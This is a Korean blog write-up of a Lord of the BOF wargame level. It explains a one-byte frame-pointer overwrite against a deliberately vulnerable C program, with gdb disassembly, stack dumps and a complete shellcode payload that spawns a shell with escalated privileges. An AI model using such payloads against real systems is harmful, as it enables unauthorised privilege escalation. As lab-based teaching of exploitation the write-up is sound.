Sh4n3e
[시스템해킹][LOB] Level12 : Golem -> Darkknight 본문
문제는 아래와 같다.
[golem@localhost golem]$ cat darkknight.c /* The Lord of the BOF : The Fellowship of the BOF - darkknight - FPO */ #include <stdio.h> #include <stdlib.h> void problem_child(char *src) { char buffer[40]; strncpy(buffer, src, 41); printf("%s\n", buffer); } main(int argc, char *argv[]) { if(argc<2){ printf("argv error\n"); exit(0); } problem_child(argv[1]); }
|
buffer[40] |
...... |
...... |
problem_child EBP |
problem_child SFP |
.... |
main EBP |
main SFP |
problem_child 함수의 strcpy는 41개를 한다는 의미는 buffer공간 40byte와 problem_child함수의 EBP영역 마지막 1byte까지만 덮어쓰겠다는 의미이다. problem_child EBP는 main함수의 EBP를 저장하고 있다.
(해당 부분은 최초 함수실행시에 PUSH EBP에 의해 연산된다.)
마지막 1byte를 기존과 다른 값으로 바꾸게 된다면 어떻게 될까?
main함수의 EBP가 바뀐다는 의미다. 즉 stack base point가 바뀌게 된다는 의미다. 위의 프로그램같이 함수호출후에 끝나는 경우는 main함수의 EBP값을 바꿔 SFP까지 임의로 조작할 수 있게된다.
[golem@localhost golem]$ gdb -q thginkkrad (gdb) set disassembly-flavor intel (gdb) disp/i $pc (gdb) disass main Dump of assembler code for function main: 0x804846c <main>: push %ebp 0x804846d <main+1>: mov %ebp,%esp 0x804846f <main+3>: cmp DWORD PTR [%ebp+8],1 0x8048473 <main+7>: jg 0x8048490 <main+36> 0x8048475 <main+9>: push 0x8048504 0x804847a <main+14>: call 0x8048354 <printf> 0x804847f <main+19>: add %esp,4 0x8048482 <main+22>: push 0 0x8048484 <main+24>: call 0x8048364 <exit> 0x8048489 <main+29>: add %esp,4 0x804848c <main+32>: lea %esi,[%esi*1] 0x8048490 <main+36>: mov %eax,DWORD PTR [%ebp+12] 0x8048493 <main+39>: add %eax,4 0x8048496 <main+42>: mov %edx,DWORD PTR [%eax] 0x8048498 <main+44>: push %edx 0x8048499 <main+45>: call 0x8048440 <problem_child> 0x804849e <main+50>: add %esp,4 0x80484a1 <main+53>: leave 0x80484a2 <main+54>: ret 0x80484a3 <main+55>: nop 0x80484a4 <main+56>: nop 0x80484a5 <main+57>: nop 0x80484a6 <main+58>: nop 0x80484a7 <main+59>: nop 0x80484a8 <main+60>: nop 0x80484a9 <main+61>: nop 0x80484aa <main+62>: nop 0x80484ab <main+63>: nop 0x80484ac <main+64>: nop 0x80484ad <main+65>: nop 0x80484ae <main+66>: nop 0x80484af <main+67>: nop End of assembler dump. (gdb) disass problem_child Dump of assembler code for function problem_child: 0x8048440 <problem_child>: push %ebp 0x8048441 <problem_child+1>: mov %ebp,%esp 0x8048443 <problem_child+3>: sub %esp,40 0x8048446 <problem_child+6>: push 41 0x8048448 <problem_child+8>: mov %eax,DWORD PTR [%ebp+8] 0x804844b <problem_child+11>: push %eax 0x804844c <problem_child+12>: lea %eax,[%ebp-40] 0x804844f <problem_child+15>: push %eax 0x8048450 <problem_child+16>: call 0x8048374 <strncpy> 0x8048455 <problem_child+21>: add %esp,12 0x8048458 <problem_child+24>: lea %eax,[%ebp-40] 0x804845b <problem_child+27>: push %eax 0x804845c <problem_child+28>: push 0x8048500 0x8048461 <problem_child+33>: call 0x8048354 <printf> 0x8048466 <problem_child+38>: add %esp,8 0x8048469 <problem_child+41>: leave 0x804846a <problem_child+42>: ret 0x804846b <problem_child+43>: nop End of assembler dump. |
빨간색 부분에 BP를 걸고, 디버깅을 한다.
나는 여기서 아래와 같이 진행할 것이다.
AAAA + 새로운 SFP + |
NOP*8 + |
Shellocode + |
끝 1byte를 바꿔 A가 시작되는 지점을 EBP로 |
problem_child SFP |
.... |
main EBP |
main SFP |
이렇게 하면 기존에 뛰어야할 main함수쪽의 기존 스택지점으로 뛰지 않고, 우리의 EBP는 A의 시작점에 위치한다.
그리고 main함수의 leave, ret 명령어가 실행되면서 우리가 임의로 만들어놓은 SFP의 위치로 EIP가 뛰게된다. 그 부분은 우리가 Shellcode를 넣어놓은 지점으로 맞추면 쉘이 열리게 된다.
진행에 대한 내용은 아래를 참고하면 된다.
(gdb) x/20x $esp 0xbffffc04: 0x41414141 0xbffffc11 0x90909090 0x90909090 0xbffffc14: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e 0xbffffc24: 0x99e18953 0x80cd0bb0 0xbffffc04 0x0804849e 0xbffffc34: 0xbffffd95 0xbffffc58 0x400309cb 0x00000002 0xbffffc44: 0xbffffc84 0xbffffc90 0x40013868 0x00000002
|
0x804849e in main () (gdb) print/x $ebp $1 = 0xbffffc04 (gdb) x/20x $ebp 0xbffffc04: 0x41414141 0xbffffc11 0x90909090 0x90909090 0xbffffc14: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e 0xbffffc24: 0x99e18953 0x80cd0bb0 0xbffffc04 0x0804849e 0xbffffc34: 0xbffffd95 0xbffffc58 0x400309cb 0x00000002 0xbffffc44: 0xbffffc84 0xbffffc90 0x40013868 0x00000002 Breakpoint 2, 0x80484a1 in main () (gdb) ni 0x80484a2 in main () (gdb) si 0xbffffc11 in ?? () (gdb) |
아래는 작성한 페이로드이다.
./darkknight $(python -c 'print "AAAA\x11\xfc\xff\xbf"+"\x90"*8+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62 \x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x04"') |
보시다시피 쉘이 열리는 것을 확인할 수 있다.
[golem@localhost golem]$ ./darkknight $(python -c 'print "\x60\xae\xae\x40\x11> `��@�����������1�Ph//shh/bin��PS�ᙰ ���������X���� @ bash$ whoami darkknight bash$ id uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem) bash$ /bin/my-pass euid = 512 new attacker bash$ |
'Wargame > LOB' 카테고리의 다른 글
[시스템해킹][LOB] Level 14 : Bugbear -> Giant (0) | 2017.07.14 |
---|---|
[시스템해킹][LOB] Level 13 : Darkknight -> Bugbear (0) | 2017.07.13 |
[시스템해킹][LOB] Level11 : Skeleton -> Golem (0) | 2017.06.27 |
[시스템해킹][LOB] Level10 : Vampire -> Skeleton (0) | 2017.06.26 |
[시스템해킹][LOB] Level9 : Troll -> Vampire (0) | 2017.06.23 |